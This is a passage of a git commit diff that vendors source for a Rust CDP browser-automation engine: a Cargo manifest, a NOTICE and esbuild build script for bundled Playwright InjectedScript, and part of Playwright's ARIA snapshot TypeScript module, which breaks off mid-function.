Update: 将子项目从 submodule 转为完整内容

- 移除 GovAI, nomifun-tauri, 算力盒子 的 submodule 引用
- 添加所有子项目的完整源代码
- 保留原始 .git 为 .git.bak 备份
This commit is contained in:
freedak
2026-07-04 19:20:46 +08:00
parent 54d6465fa7
commit f7a720204a
3360 changed files with 802660 additions and 3 deletions
@@ -0,0 +1,96 @@
[package]
name = "nomi-browser-engine"
description = "In-process self-hosted Rust CDP browser engine for Nomi browser-use (Chromium-only, no bundled Playwright/Node)"
version.workspace = true
edition.workspace = true
license.workspace = true
repository.workspace = true
[dependencies]
async-trait.workspace = true
tokio.workspace = true
tokio-util.workspace = true
serde.workspace = true
serde_json.workspace = true
base64.workspace = true
thiserror.workspace = true
tracing.workspace = true
# Self-hosted CDP engine foundation. 0.9.1 has NO `tokio-runtime` feature —
# transport rides `async-tungstenite` and is runtime-agnostic, so default
# features suffice. chromiumoxide's built-in Chrome fetcher is deliberately
# unused (Task 6 does a self-contained proxy-aware download); its TLS/zip
# features stay OFF — see the workspace dep comment. CDP generated types arrive
# transitively via `chromiumoxide_cdp`.
chromiumoxide = { workspace = true }
# CDP transport: single WS connection, sessionId multiplexing. CDP is ws://
# localhost — no TLS needed, but the workspace pins the rustls feature; that's
# inert for plain ws://. `connect_async_with_config` lets us lift the default
# 64MiB/16MiB frame caps (large DOM / screenshots otherwise silently disconnect).
tokio-tungstenite.workspace = true
# SinkExt/StreamExt for the WS split sink + read loop.
futures-util.workspace = true
# 注入管线(Task D)的 utility-world 名 / binding 名按会话随机化(`__nomi_<hex>__`,
# 反检测 + 防与页面全局冲突)。getrandom 是 workspace 已锁的 CSPRNG 原语,hex 化即可,
# 无需引入 `rand` 的大依赖面。
getrandom.workspace = true
# getrandom 出 CSPRNG 字节,hex 出 `__nomi_<hex>__` 名(均 workspace 已锁)。
hex.workspace = true
nomifun-net.workspace = true
nomifun-runtime.workspace = true
# P3-W4d storage_state vault:登录态(cookie token / localStorage JWT)敏感,加密落盘。复用
# nomifun-common 的 encrypt_string/decrypt_string(AES-256-GCM)——DESIGN §4/§16 裁决⑦「不另起第二套
# crypto 栈」(与 nomifun-secret 凭据 vault 同一实现)。nomifun-common 已是本 crate 的传递依赖
# (经 nomifun-secret),直列为直接依赖零额外构建成本,依赖方向不成环(common 是近叶 crate)。
nomifun-common.workspace = true
# E5 出口防火墙:跨域判定复用 nomifun-secret 的 eTLD+1(PSL 机器,离线)——`same_etld_plus_one` /
# `host_of` / `etld_plus_one` 是纯函数(与 secret vault 解耦),E1 已交付。不复用死字段
# BrowserConfig.allowed_origins(裁决⑪/不变量⑭)。
nomifun-secret.workspace = true
# 序列化层脱敏(redact.rs):复用共享的 best-effort 正则脱敏(sk-/AKIA/Bearer/k=v/PEM),
# 高熵 token 兜底是本 crate 的补充。
nomi-redact.workspace = true
# Structural URL parsing (debug_capture redact_url): parse + strip userinfo/query/path-secrets.
url.workspace = true
# Debug-context redactor regex (expanded keyword set + key=value fallback). nomi-redact already
# transitively pulls regex; this direct dep costs zero extra build time.
regex.workspace = true
# CfT chrome 下载兜底的 zip 解压(三平台包都是 .zip)。复用 workspace 锁定的
# zip = "2"(与 nomifun-app::provision::install 的解压同款,版本对齐)。
zip.workspace = true
# SD-2 上传路径沙箱的跨平台 canonical 归一:`std::fs::canonicalize` 在 Windows 返回
# verbatim `\\?\C:\...` 前缀路径,`dunce::simplified` 把它剥回普通 `C:\...`,既用于送给
# Chrome 的 setFileInputFiles 路径(绝不让 `\\?\` 形态到达 Chrome),也让 workspace 包含
# 判定不依赖分隔符/前缀字节算术(改用 `Path::starts_with` 组件级比较)。已是 Cargo.lock 的
# 传递依赖,直列零额外构建成本。
dunce = "1"
# --- display 探测的平台原生绑定(仅 display_available 用)---------------------
# Windows: GetSystemMetrics(SM_CMONITORS) 监视器数。0.61 与 nomi-a11y /
# nomi-computer 已固定的版本对齐,避免冗余/版本分裂。
[target.'cfg(target_os = "windows")'.dependencies]
windows = { version = "0.61", features = ["Win32_Foundation", "Win32_UI_WindowsAndMessaging"] }
# macOS: CGDisplay::active_display_count()(CGGetActiveDisplayList 的安全封装)。
# 0.25 与 nomi-a11y 对齐。
[target.'cfg(target_os = "macos")'.dependencies]
core-graphics = "0.25"
# Unix(mac+linux):`pipe(2)` 建 `--remote-debugging-pipe` 的 fd3/fd4(浏览器在父死/管道 EOF 时
# 自退,免疫 SIGKILL)+ download.rs::write_motw 的 `setxattr(com.apple.quarantine)`(仅 mac)。
# libc 已在 workspace 构建图(tokio / nomifun-runtime 等传递依赖),unix-target 直接依赖零额外成本。
[target.'cfg(unix)'.dependencies]
libc.workspace = true
[dev-dependencies]
tempfile.workspace = true
# 注入侧 aria 契约快照(tests/observe_fixtures.rs,#[ignore] 本机 chrome)+ T6 序列化契约,
# 供人审 aria 输出形态 + 防 vendor Playwright 升级后无声漂移。
insta.workspace = true
# 集成测试 tests/observe_fixtures.rs 需直接构造 CDP 生成类型(CallArgument / EvaluateParams /
# CreateTargetParams 等)来手动接线注入母本——这些类型只在 chromiumoxide 里。它已是普通依赖,
# 但外部集成测试 crate 不继承普通依赖的命名空间,故 dev-deps 再列一次(同 workspace 版本,零额外成本)。
chromiumoxide.workspace = true
# `test-util` enables tokio's controllable clock (pause/advance/start_paused) so
# the deadline tests run on virtual time — fast and deterministic, no real sleep.
# Not in `full`, hence layered on only for tests.
tokio = { workspace = true, features = ["test-util"] }
@@ -0,0 +1,60 @@
NomiFun browser engine — vendored Playwright InjectedScript
============================================================
This directory (`crates/agent/nomi-browser-engine/injected/`) contains source
code vendored from the Playwright project, plus a generated bundle of it.
Upstream
--------
- Project: Playwright
- Owner: Microsoft Corporation
- Repo: https://github.com/microsoft/playwright
- License: Apache License, Version 2.0
- Pinned commit: 4b1b9d681f8a7b1dffafa973ef705f28661d4607 (2026-04-14)
- Vendored on: 2026-06-17
What is vendored
----------------
`vendor/injected/src/` — Playwright `packages/injected/src/**` (the in-page
browser toolbox: InjectedScript + actionability,
ARIA/role utils, aria-snapshot, selector engines).
`vendor/isomorphic/` — Playwright `packages/isomorphic/**` (helpers that
`@isomorphic/*` imports resolve to; esbuild inlines
only the reachable subset at bundle time).
`vendor/protocol/src/channels.d.ts`
— Playwright `packages/protocol/src/channels.d.ts`,
imported type-only (`import type ... from
'@protocol/channels'`) and erased at build time.
Most vendored source files retain their original Apache-2.0 license header
(Copyright (c) Microsoft Corporation). The following carry their own (preserved
verbatim) third-party license headers:
- `vendor/isomorphic/cssTokenizer.ts` — CC0 1.0 (public domain); original at
https://github.com/tabatkins/parse-css.
- `vendor/injected/src/clock.ts` — BSD-3-Clause (Christian Johansen / sinonjs),
with Microsoft modifications.
- `vendor/injected/src/recorder/clipPaths.ts` — MIT (Copyright (c) Microsoft).
- `vendor/isomorphic/stackTrace.ts` — MIT (Isaac Z. Schlueter et al.).
(clock.ts / clipPaths.ts / stackTrace.ts are not reachable from the
`injectedScript.ts` entry and are tree-shaken out of `dist/injected.js`; they
are vendored only because the package is vendored whole.)
Generated bundle
----------------
`dist/injected.js` is a GENERATED single-IIFE bundle of the above, produced by
`build.sh` (esbuild via bun). It is checked in so that `cargo build` never
depends on Node/bun — the Rust crate `include_str!`s it directly. It carries an
attribution banner at its head. Do not edit it by hand; regenerate via
`build.sh` after updating `vendor/`.
The bundle fixes `browserName='chromium'` at InjectedScript construction time
(see `src/injected.rs`); Playwright's WebKit/Firefox runtime branches are thus
dead-at-runtime. We vendor the package whole rather than hand-pruning, to keep
upstream upgrades tractable.
Modifications
-------------
The vendored `.ts` sources are unmodified from upstream. The only transformation
is the esbuild bundling step in `build.sh` (path-alias resolution mirroring
Playwright's tsconfig `paths`, CSS-as-text loader, IIFE wrapping with a global
name). A copy of the Apache-2.0 license text accompanies the repository.
@@ -0,0 +1,65 @@
#!/usr/bin/env bash
# 重新生成 vendored Playwright InjectedScript 的预编译 bundle。
#
# 这是**手动**步骤(DESIGN §24 / §6「build 管线」):产物 `dist/injected.js` 已 check-in
# 进仓,`cargo build` 直接 `include_str!` 它,**绝不**在 cargo build 时依赖 Node/bun。
# 仅在「升级 vendored PW 源」时才需重跑本脚本(换源 → 重 bundle → insta 快照 diff 人审)。
#
# 依赖:bun(自带 esbuild,`bunx esbuild`)。亦可换成 `npx esbuild`(需 Node + esbuild)。
#
# 取源:Playwright Apache-2.0,固定 commit 见 NOTICE。
# vendor 布局(esbuild 别名解析,对齐 PW tsconfig paths):
# @isomorphic/* -> vendor/isomorphic/*
# @injected/* -> vendor/injected/src/*
# @protocol/* -> vendor/protocol/src/* (channels.d.ts 是 type-only,编译期擦除)
#
# 关键 config(照搬 PW utils/generate_injected.js + 我们的混合架构需要):
# --bundle 内联触达的 @isomorphic 子集(不抽子集,整包 vendor,esbuild tree-shake)
# --format=iife 单 IIFE,注入到 Chromium isolated world 时整体 eval
# --global-name=... IIFE 返回值挂到该全局,注入后 `new <global>.InjectedScript(...)`
# --target=es2019 与 PW 一致
# --loader:.css=text highlight.css 作字符串内联(PW inlineCSSPlugin 等价)
# browserName 在运行时由 Rust 构造 InjectedScript 时固定为 'chromium'(WebKit/FF 分支
# dead-at-runtime),故无需 esbuild define。
set -euo pipefail
cd "$(dirname "$0")"
GLOBAL_NAME="__nomiInjectedExports"
ENTRY="vendor/injected/src/injectedScript.ts"
OUT="dist/injected.js"
echo "Building $OUT from $ENTRY (global=$GLOBAL_NAME)..."
bunx esbuild "$ENTRY" \
--bundle \
--format=iife \
--global-name="$GLOBAL_NAME" \
--platform=browser \
--target=es2019 \
--alias:@isomorphic=./vendor/isomorphic \
--alias:@injected=./vendor/injected/src \
--alias:@protocol=./vendor/protocol/src \
--loader:.css=text \
--legal-comments=none \
--outfile="$OUT.body"
# 在产物头部加 attribution banner(产物头部带署名,DESIGN「许可」要求)。
{
cat <<'BANNER'
/*
* NomiFun bundled Playwright InjectedScript.
*
* This file is a GENERATED bundle of vendored Playwright sources
* (packages/injected + packages/isomorphic), Apache-2.0 licensed,
* Copyright (c) Microsoft Corporation. See injected/NOTICE for the pinned
* upstream commit and attribution. cssTokenizer is CC0 (public domain).
*
* DO NOT EDIT BY HAND. Regenerate via injected/build.sh after updating
* injected/vendor/. browserName is fixed to 'chromium' at construction time
* (WebKit/Firefox branches are dead-at-runtime).
*/
BANNER
cat "$OUT.body"
} > "$OUT"
rm -f "$OUT.body"
echo "Wrote $OUT ($(wc -c < "$OUT") bytes). Exposes ${GLOBAL_NAME}.InjectedScript."
@@ -0,0 +1,3 @@
# Files in this folder are used in browser environment, they can only depend on isomorphic files.
[*]
@isomorphic/**
@@ -0,0 +1,9 @@
# Vendored Injected Sources
This directory contains helper JavaScript/TypeScript sources that are injected
into browser pages by `nomi-browser-engine`.
The sources are vendored so the Rust crate can generate compile-time constants
without a network step during normal builds. After updating the vendored files,
run the generator documented in `utils/generate_injected` and review the
generated Rust output before committing.
@@ -0,0 +1,759 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import * as aria from '@isomorphic/ariaSnapshot';
import { escapeRegExp, longestCommonSubstring, normalizeWhiteSpace } from '@isomorphic/stringUtils';
import { yamlEscapeKeyIfNeeded, yamlEscapeValueIfNeeded } from '@isomorphic/yaml';
import { computeBox, getElementComputedStyle, isElementVisible } from './domUtils';
import * as roleUtils from './roleUtils';
export type AriaSnapshot = {
root: aria.AriaNode;
elements: Map<string, Element>;
refs: Map<Element, string>;
iframeRefs: string[];
};
type AriaRef = {
role: string;
name: string;
ref: string;
};
let lastRef = 0;
export type AriaTreeOptions = {
mode: 'ai' | 'default' | 'codegen' | 'autoexpect';
refPrefix?: string;
doNotRenderActive?: boolean;
depth?: number;
};
type InternalOptions = {
visibility: 'aria' | 'ariaOrVisible' | 'ariaAndVisible',
refs: 'all' | 'interactable' | 'none',
refPrefix?: string,
includeGenericRole?: boolean,
renderCursorPointer?: boolean,
renderActive?: boolean,
renderStringsAsRegex?: boolean,
};
function toInternalOptions(options: AriaTreeOptions): InternalOptions {
if (options.mode === 'ai') {
// For AI consumption.
return {
visibility: 'ariaOrVisible',
refs: 'interactable',
refPrefix: options.refPrefix,
includeGenericRole: true,
renderActive: !options.doNotRenderActive,
renderCursorPointer: true,
};
}
if (options.mode === 'autoexpect') {
// To auto-generate assertions on visible elements.
return { visibility: 'ariaAndVisible', refs: 'none' };
}
if (options.mode === 'codegen') {
// To generate aria assertion with regex heurisitcs.
return { visibility: 'aria', refs: 'none', renderStringsAsRegex: true };
}
// To match aria snapshot.
return { visibility: 'aria', refs: 'none' };
}
export function generateAriaTree(rootElement: Element, publicOptions: AriaTreeOptions): AriaSnapshot {
const options = toInternalOptions(publicOptions);
const visited = new Set<Node>();
const snapshot: AriaSnapshot = {
root: { role: 'fragment', name: '', children: [], props: {}, box: computeBox(rootElement), receivesPointerEvents: true },
elements: new Map<string, Element>(),
refs: new Map<Element, string>(),
iframeRefs: [],
};
setAriaNodeElement(snapshot.root, rootElement);
const visit = (ariaNode: aria.AriaNode, node: Node, parentElementVisible: boolean) => {
if (visited.has(node))
return;
visited.add(node);
if (node.nodeType === Node.TEXT_NODE && node.nodeValue) {
if (!parentElementVisible)
return;
const text = node.nodeValue;
// <textarea>AAA</textarea> should not report AAA as a child of the textarea.
if (ariaNode.role !== 'textbox' && text)
ariaNode.children.push(node.nodeValue || '');
return;
}
if (node.nodeType !== Node.ELEMENT_NODE)
return;
const element = node as Element;
const isElementVisibleForAria = !roleUtils.isElementHiddenForAria(element);
let visible = isElementVisibleForAria;
if (options.visibility === 'ariaOrVisible')
visible = isElementVisibleForAria || isElementVisible(element);
if (options.visibility === 'ariaAndVisible')
visible = isElementVisibleForAria && isElementVisible(element);
// Optimization: if we only consider aria visibility, we can skip child elements because
// they will not be visible for aria as well.
if (options.visibility === 'aria' && !visible)
return;
const ariaChildren: Element[] = [];
if (element.hasAttribute('aria-owns')) {
const ids = element.getAttribute('aria-owns')!.split(/\s+/);
for (const id of ids) {
const ownedElement = rootElement.ownerDocument.getElementById(id);
if (ownedElement)
ariaChildren.push(ownedElement);
}
}
const childAriaNode = visible ? toAriaNode(element, options) : null;
if (childAriaNode) {
if (childAriaNode.ref) {
snapshot.elements.set(childAriaNode.ref, element);
snapshot.refs.set(element, childAriaNode.ref);
if (childAriaNode.role === 'iframe')
snapshot.iframeRefs.push(childAriaNode.ref);
}
ariaNode.children.push(childAriaNode);
}
processElement(childAriaNode || ariaNode, element, ariaChildren, visible);
};
function processElement(ariaNode: aria.AriaNode, element: Element, ariaChildren: Element[], parentElementVisible: boolean) {
// Surround every element with spaces for the sake of concatenated text nodes.
const display = getElementComputedStyle(element)?.display || 'inline';
const treatAsBlock = (display !== 'inline' || element.nodeName === 'BR') ? ' ' : '';
if (treatAsBlock)
ariaNode.children.push(treatAsBlock);
ariaNode.children.push(roleUtils.getCSSContent(element, '::before') || '');
const assignedNodes = element.nodeName === 'SLOT' ? (element as HTMLSlotElement).assignedNodes() : [];
if (assignedNodes.length) {
for (const child of assignedNodes)
visit(ariaNode, child, parentElementVisible);
} else {
for (let child = element.firstChild; child; child = child.nextSibling) {
if (!(child as Element | Text).assignedSlot)
visit(ariaNode, child, parentElementVisible);
}
if (element.shadowRoot) {
for (let child = element.shadowRoot.firstChild; child; child = child.nextSibling)
visit(ariaNode, child, parentElementVisible);
}
}
for (const child of ariaChildren)
visit(ariaNode, child, parentElementVisible);
ariaNode.children.push(roleUtils.getCSSContent(element, '::after') || '');
if (treatAsBlock)
ariaNode.children.push(treatAsBlock);
if (ariaNode.children.length === 1 && ariaNode.name === ariaNode.children[0])
ariaNode.children = [];
if (ariaNode.role === 'link' && element.hasAttribute('href')) {
const href = element.getAttribute('href')!;
ariaNode.props['url'] = href;
}
if (ariaNode.role === 'textbox' && element.hasAttribute('placeholder') && element.getAttribute('placeholder') !== ariaNode.name) {
const placeholder = element.getAttribute('placeholder')!;
ariaNode.props['placeholder'] = placeholder;
}
}
roleUtils.beginAriaCaches();
try {
visit(snapshot.root, rootElement, true);
} finally {
roleUtils.endAriaCaches();
}
normalizeStringChildren(snapshot.root);
normalizeGenericRoles(snapshot.root);
return snapshot;
}
function computeAriaRef(ariaNode: aria.AriaNode, options: InternalOptions) {
if (options.refs === 'none')
return;
if (options.refs === 'interactable' && (!ariaNode.box.visible || !ariaNode.receivesPointerEvents))
return;
const element = ariaNodeElement(ariaNode);
let ariaRef = (element as any)._ariaRef as AriaRef | undefined;
if (!ariaRef || ariaRef.role !== ariaNode.role || ariaRef.name !== ariaNode.name) {
ariaRef = { role: ariaNode.role, name: ariaNode.name, ref: (options.refPrefix ?? '') + 'e' + (++lastRef) };
(element as any)._ariaRef = ariaRef;
}
ariaNode.ref = ariaRef.ref;
}
function toAriaNode(element: Element, options: InternalOptions): aria.AriaNode | null {
const active = element.ownerDocument.activeElement === element;
if (element.nodeName === 'IFRAME') {
const ariaNode: aria.AriaNode = {
role: 'iframe',
name: '',
children: [],
props: {},
box: computeBox(element),
receivesPointerEvents: true,
active
};
setAriaNodeElement(ariaNode, element);
computeAriaRef(ariaNode, options);
return ariaNode;
}
const defaultRole = options.includeGenericRole ? 'generic' : null;
const role = roleUtils.getAriaRole(element) ?? defaultRole;
if (!role || role === 'presentation' || role === 'none')
return null;
const name = normalizeWhiteSpace(roleUtils.getElementAccessibleName(element, false) || '');
const receivesPointerEvents = roleUtils.receivesPointerEvents(element);
const box = computeBox(element);
if (role === 'generic' && box.inline && element.childNodes.length === 1 && element.childNodes[0].nodeType === Node.TEXT_NODE)
return null;
const result: aria.AriaNode = {
role,
name,
children: [],
props: {},
box,
receivesPointerEvents,
active
};
setAriaNodeElement(result, element);
computeAriaRef(result, options);
if (roleUtils.kAriaCheckedRoles.includes(role))
result.checked = roleUtils.getAriaChecked(element);
if (roleUtils.kAriaDisabledRoles.includes(role))
result.disabled = roleUtils.getAriaDisabled(element);
if (roleUtils.kAriaExpandedRoles.includes(role))
result.expanded = roleUtils.getAriaExpanded(element);
if (roleUtils.kAriaLevelRoles.includes(role))
result.level = roleUtils.getAriaLevel(element);
if (roleUtils.kAriaPressedRoles.includes(role))
result.pressed = roleUtils.getAriaPressed(element);
if (roleUtils.kAriaSelectedRoles.includes(role))
result.selected = roleUtils.getAriaSelected(element);
if (element instanceof HTMLInputElement || element instanceof HTMLTextAreaElement) {
if (element.type !== 'checkbox' && element.type !== 'radio' && element.type !== 'file')
result.children = [element.value];
}
return result;
}
function normalizeGenericRoles(node: aria.AriaNode) {
const normalizeChildren = (node: aria.AriaNode) => {
const result: (aria.AriaNode | string)[] = [];
for (const child of node.children || []) {
if (typeof child === 'string') {
result.push(child);
continue;
}
const normalized = normalizeChildren(child);
result.push(...normalized);
}
// Only remove generic that encloses one element, logical grouping still makes sense, even if it is not ref-able.
const removeSelf = node.role === 'generic' && !node.name && result.length <= 1 && result.every(c => typeof c !== 'string' && !!c.ref);
if (removeSelf)
return result;
node.children = result;
return [node];
};
normalizeChildren(node);
}
function normalizeStringChildren(rootA11yNode: aria.AriaNode) {
const flushChildren = (buffer: string[], normalizedChildren: (aria.AriaNode | string)[]) => {
if (!buffer.length)
return;
const text = normalizeWhiteSpace(buffer.join(''));
if (text)
normalizedChildren.push(text);
buffer.length = 0;
};
const visit = (ariaNode: aria.AriaNode) => {
const normalizedChildren: (aria.AriaNode | string)[] = [];
const buffer: string[] = [];
for (const child of ariaNode.children || []) {
if (typeof child === 'string') {
buffer.push(child);
} else {
flushChildren(buffer, normalizedChildren);
visit(child);
normalizedChildren.push(child);
}
}
flushChildren(buffer, normalizedChildren);
ariaNode.children = normalizedChildren.length ? normalizedChildren : [];
if (ariaNode.children.length === 1 && ariaNode.children[0] === ariaNode.name)
ariaNode.children = [];
};
visit(rootA11yNode);
}
function matchesStringOrRegex(text: string, template: aria.AriaRegex | string | undefined): boolean {
if (!template)
return true;
if (!text)
return false;
if (typeof template === 'string')
return text === template;
return !!text.match(new RegExp(template.pattern));
}
function matchesTextValue(text: string, template: aria.AriaTextValue | undefined) {
if (!template?.normalized)
return true;
if (!text)
return false;
if (text === template.normalized)
return true;
// Accept pattern as value.
if (text === template.raw)
return true;
const regex = cachedRegex(template);
if (regex)
return !!text.match(regex);
return false;
}
const cachedRegexSymbol = Symbol('cachedRegex');
function cachedRegex(template: aria.AriaTextValue): RegExp | null {
if ((template as any)[cachedRegexSymbol] !== undefined)
return (template as any)[cachedRegexSymbol];
const { raw } = template;
const canBeRegex = raw.startsWith('/') && raw.endsWith('/') && raw.length > 1;
let regex: RegExp | null;
try {
regex = canBeRegex ? new RegExp(raw.slice(1, -1)) : null;
} catch (e) {
regex = null;
}
(template as any)[cachedRegexSymbol] = regex;
return regex;
}
export type MatcherReceived = {
raw: string;
regex: string;
};
export function matchesExpectAriaTemplate(rootElement: Element, template: aria.AriaTemplateNode): { matches: aria.AriaNode[], received: MatcherReceived } {
const snapshot = generateAriaTree(rootElement, { mode: 'default' });
const matches = matchesNodeDeep(snapshot.root, template, false, false);
return {
matches,
received: {
raw: renderAriaTree(snapshot, { mode: 'default' }).text,
regex: renderAriaTree(snapshot, { mode: 'codegen' }).text,
}
};
}
export function getAllElementsMatchingExpectAriaTemplate(rootElement: Element, template: aria.AriaTemplateNode): Element[] {
const root = generateAriaTree(rootElement, { mode: 'default' }).root;
const matches = matchesNodeDeep(root, template, true, false);
return matches.map(n => ariaNodeElement(n));
}
function matchesNode(node: aria.AriaNode | string, template: aria.AriaTemplateNode, isDeepEqual: boolean): boolean {
if (typeof node === 'string' && template.kind === 'text')
return matchesTextValue(node, template.text);
if (node === null || typeof node !== 'object' || template.kind !== 'role')
return false;
if (template.role !== 'fragment' && template.role !== node.role)
return false;
if (template.checked !== undefined && template.checked !== node.checked)
return false;
if (template.disabled !== undefined && template.disabled !== node.disabled)
return false;
if (template.expanded !== undefined && template.expanded !== node.expanded)
return false;
if (template.level !== undefined && template.level !== node.level)
return false;
if (template.pressed !== undefined && template.pressed !== node.pressed)
return false;
if (template.selected !== undefined && template.selected !== node.selected)
return false;
if (!matchesStringOrRegex(node.name, template.name))
return false;
if (!matchesTextValue(node.props.url, template.props?.url))
return false;
// Proceed based on the container mode.
if (template.containerMode === 'contain')
return containsList(node.children || [], template.children || []);
if (template.containerMode === 'equal')
return listEqual(node.children || [], template.children || [], false);
if (template.containerMode === 'deep-equal' || isDeepEqual)
return listEqual(node.children || [], template.children || [], true);
return containsList(node.children || [], template.children || []);
}
function listEqual(children: (aria.AriaNode | string)[], template: aria.AriaTemplateNode[], isDeepEqual: boolean): boolean {
if (template.length !== children.length)
return false;
for (let i = 0; i < template.length; ++i) {
if (!matchesNode(children[i], template[i], isDeepEqual))
return false;
}
return true;
}
function containsList(children: (aria.AriaNode | string)[], template: aria.AriaTemplateNode[]): boolean {
if (template.length > children.length)
return false;
const cc = children.slice();
const tt = template.slice();
for (const t of tt) {
let c = cc.shift();
while (c) {
if (matchesNode(c, t, false))
break;
c = cc.shift();
}
if (!c)
return false;
}
return true;
}
function matchesNodeDeep(root: aria.AriaNode, template: aria.AriaTemplateNode, collectAll: boolean, isDeepEqual: boolean): aria.AriaNode[] {
const results: aria.AriaNode[] = [];
const visit = (node: aria.AriaNode | string, parent: aria.AriaNode | null): boolean => {
if (matchesNode(node, template, isDeepEqual)) {
const result = typeof node === 'string' ? parent : node;
if (result)
results.push(result);
return !collectAll;
}
if (typeof node === 'string')
return false;
for (const child of node.children || []) {
if (visit(child, node))
return true;
}
return false;
};
visit(root, null);
return results;
}
function buildByRefMap(root: aria.AriaNode | undefined, map: Map<string | undefined, aria.AriaNode> = new Map()): Map<string | undefined, aria.AriaNode> {
if (root?.ref)
map.set(root.ref, root);
for (const child of root?.children || []) {
if (typeof child !== 'string')
buildByRefMap(child, map);
}
return map;
}
function compareSnapshots(ariaSnapshot: AriaSnapshot, previousSnapshot: AriaSnapshot | undefined): Map<aria.AriaNode, 'skip' | 'same' | 'changed'> {
const previousByRef = buildByRefMap(previousSnapshot?.root);
const result = new Map<aria.AriaNode, 'skip' | 'same' | 'changed'>();
// Returns whether ariaNode is the same as previousNode.
const visit = (ariaNode: aria.AriaNode, previousNode: aria.AriaNode | undefined): boolean => {
let same: boolean = ariaNode.children.length === previousNode?.children.length && aria.ariaNodesEqual(ariaNode, previousNode);
let canBeSkipped = same;
for (let childIndex = 0 ; childIndex < ariaNode.children.length; childIndex++) {
const child = ariaNode.children[childIndex];
const previousChild = previousNode?.children[childIndex];
if (typeof child === 'string') {
same &&= child === previousChild;
canBeSkipped &&= child === previousChild;
} else {
let previous = typeof previousChild !== 'string' ? previousChild : undefined;
if (child.ref)
previous = previousByRef.get(child.ref);
const sameChild = visit(child, previous);
// New child, different order of children, or changed child with no ref -
// we have to include this node to list children in the right order.
if (!previous || (!sameChild && !child.ref) || (previous !== previousChild))
canBeSkipped = false;
same &&= (sameChild && previous === previousChild);
}
}
result.set(ariaNode, same ? 'same' : (canBeSkipped ? 'skip' : 'changed'));
return same;
};
visit(ariaSnapshot.root, previousByRef.get(previousSnapshot?.root?.ref));
return result;
}
// Chooses only the changed parts of the snapshot and returns them as new roots.
function filterSnapshotDiff(nodes: (aria.AriaNode | string)[], statusMap: Map<aria.AriaNode, 'skip' | 'same' | 'changed'>): (aria.AriaNode | string)[] {
const result: (aria.AriaNode | string)[] = [];
const visit = (ariaNode: aria.AriaNode) => {
const status = statusMap.get(ariaNode);
if (status === 'same') {
// No need to render unchanged root at all.
} else if (status === 'skip') {
// Only render changed children.
for (const child of ariaNode.children) {
if (typeof child !== 'string')
visit(child);
}
} else {
// Render this node's subtree.
result.push(ariaNode);
}
};
for (const node of nodes) {
if (typeof node === 'string')
result.push(node);
else
visit(node);
}
return result;
}
function indent(depth: number): string {
return ' '.repeat(depth);
}
export function renderAriaTree(ariaSnapshot: AriaSnapshot, publicOptions: AriaTreeOptions, previousSnapshot?: AriaSnapshot): { text: string, iframeDepths: Record<string, number> } {
const options = toInternalOptions(publicOptions);
const lines: string[] = [];
const iframeDepths: Record<string, number> = {};
const includeText = options.renderStringsAsRegex ? textContributesInfo : () => true;
const renderString = options.renderStringsAsRegex ? convertToBestGuessRegex : (str: string) => str;
// Do not render the root fragment, just its children.
let nodesToRender = ariaSnapshot.root.role === 'fragment' ? ariaSnapshot.root.children : [ariaSnapshot.root];
const statusMap = compareSnapshots(ariaSnapshot, previousSnapshot);
if (previousSnapshot)
nodesToRender = filterSnapshotDiff(nodesToRender, statusMap);
const visitText = (text: string, depth: number) => {
if (publicOptions.depth && depth > publicOptions.depth)
return;
const escaped = yamlEscapeValueIfNeeded(renderString(text));
if (escaped)
lines.push(indent(depth) + '- text: ' + escaped);
};
const createKey = (ariaNode: aria.AriaNode, renderCursorPointer: boolean): string => {
let key = ariaNode.role;
// Yaml has a limit of 1024 characters per key, and we leave some space for role and attributes.
if (ariaNode.name && ariaNode.name.length <= 900) {
const name = renderString(ariaNode.name);
if (name) {
const stringifiedName = name.startsWith('/') && name.endsWith('/') ? name : JSON.stringify(name);
key += ' ' + stringifiedName;
}
}
if (ariaNode.checked === 'mixed')
key += ` [checked=mixed]`;
if (ariaNode.checked === true)
key += ` [checked]`;
if (ariaNode.disabled)
key += ` [disabled]`;
if (ariaNode.expanded)
key += ` [expanded]`;
if (ariaNode.active && options.renderActive)
key += ` [active]`;
if (ariaNode.level)
key += ` [level=${ariaNode.level}]`;
if (ariaNode.pressed === 'mixed')
key += ` [pressed=mixed]`;
if (ariaNode.pressed === true)
key += ` [pressed]`;
if (ariaNode.selected === true)
key += ` [selected]`;
if (ariaNode.ref) {
key += ` [ref=${ariaNode.ref}]`;
if (renderCursorPointer && aria.hasPointerCursor(ariaNode))
key += ' [cursor=pointer]';
}
return key;
};
const getSingleInlinedTextChild = (ariaNode: aria.AriaNode | undefined): string | undefined => {
return ariaNode?.children.length === 1 && typeof ariaNode.children[0] === 'string' && !Object.keys(ariaNode.props).length ? ariaNode.children[0] : undefined;
};
const visit = (ariaNode: aria.AriaNode, depth: number, renderCursorPointer: boolean) => {
if (publicOptions.depth && depth > publicOptions.depth)
return;
if (ariaNode.role === 'iframe' && ariaNode.ref)
iframeDepths[ariaNode.ref] = depth;
// Replace the whole subtree with a single reference when possible.
if (statusMap.get(ariaNode) === 'same' && ariaNode.ref) {
lines.push(indent(depth) + `- ref=${ariaNode.ref} [unchanged]`);
return;
}
// When producing a diff, add <changed> marker to all diff roots.
const isDiffRoot = !!previousSnapshot && !depth;
const escapedKey = indent(depth) + '- ' + (isDiffRoot ? '<changed> ' : '') + yamlEscapeKeyIfNeeded(createKey(ariaNode, renderCursorPointer));
const singleInlinedTextChild = getSingleInlinedTextChild(ariaNode);
const isAtDepthLimit = !!publicOptions.depth && depth === publicOptions.depth;
const hasNoChildren = !singleInlinedTextChild && (!ariaNode.children.length || isAtDepthLimit);
if (hasNoChildren && !Object.keys(ariaNode.props).length) {
// Leaf node without children.
lines.push(escapedKey);
} else if (singleInlinedTextChild !== undefined) {
// Leaf node with just some text inside.
const shouldInclude = includeText(ariaNode, singleInlinedTextChild);
if (shouldInclude)
lines.push(escapedKey + ': ' + yamlEscapeValueIfNeeded(renderString(singleInlinedTextChild)));
else
lines.push(escapedKey);
} else {
// Node with (optional) props and some children.
lines.push(escapedKey + ':');
for (const [name, value] of Object.entries(ariaNode.props))
